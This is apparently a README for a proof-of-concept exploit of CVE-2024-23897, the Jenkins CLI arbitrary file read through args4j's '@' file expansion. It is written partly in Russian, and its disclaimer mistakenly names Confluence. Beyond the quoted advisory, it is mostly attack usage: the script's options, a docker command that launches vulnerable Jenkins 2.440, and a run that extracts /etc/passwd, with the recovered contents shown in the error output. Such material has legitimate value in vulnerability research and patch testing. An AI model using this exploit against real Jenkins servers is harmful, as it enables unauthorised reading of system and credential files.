
This repository presents a proof-of-concept of CVE-2024-23897
Этот репозиторий представляет доказательство концепции уязвимости CVE-2024-23897 (Обнаружена sonarsource)
Этот код является доказательством концепции уязвимости. Я не призываю никого использовать его на экземплярах Confluence, которые им не принадлежат.
Этот инструмент был разработан только в исследовательских и образовательных целях, и я не несу ответственности за любое его использование.
Согласно предупреждению безопасности Jenkins от 24 января 2024 г.: Jenkins использует библиотеку args4j для разбора аргументов команд и опций на контроллере Jenkins при обработке команд CLI. Этот парсер команд имеет функцию, которая заменяет символ @, за которым следует путь к файлу в аргументе, содержимым файла (expandAtFiles). Эта функция включена по умолчанию, и Jenkins 2.441 и более ранние версии, LTS 2.426.2 и более ранние не отключают её. Это позволяет злоумышленникам читать произвольные файлы в файловой системе контроллера Jenkins, используя кодировку символов по умолчанию процесса контроллера Jenkins.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)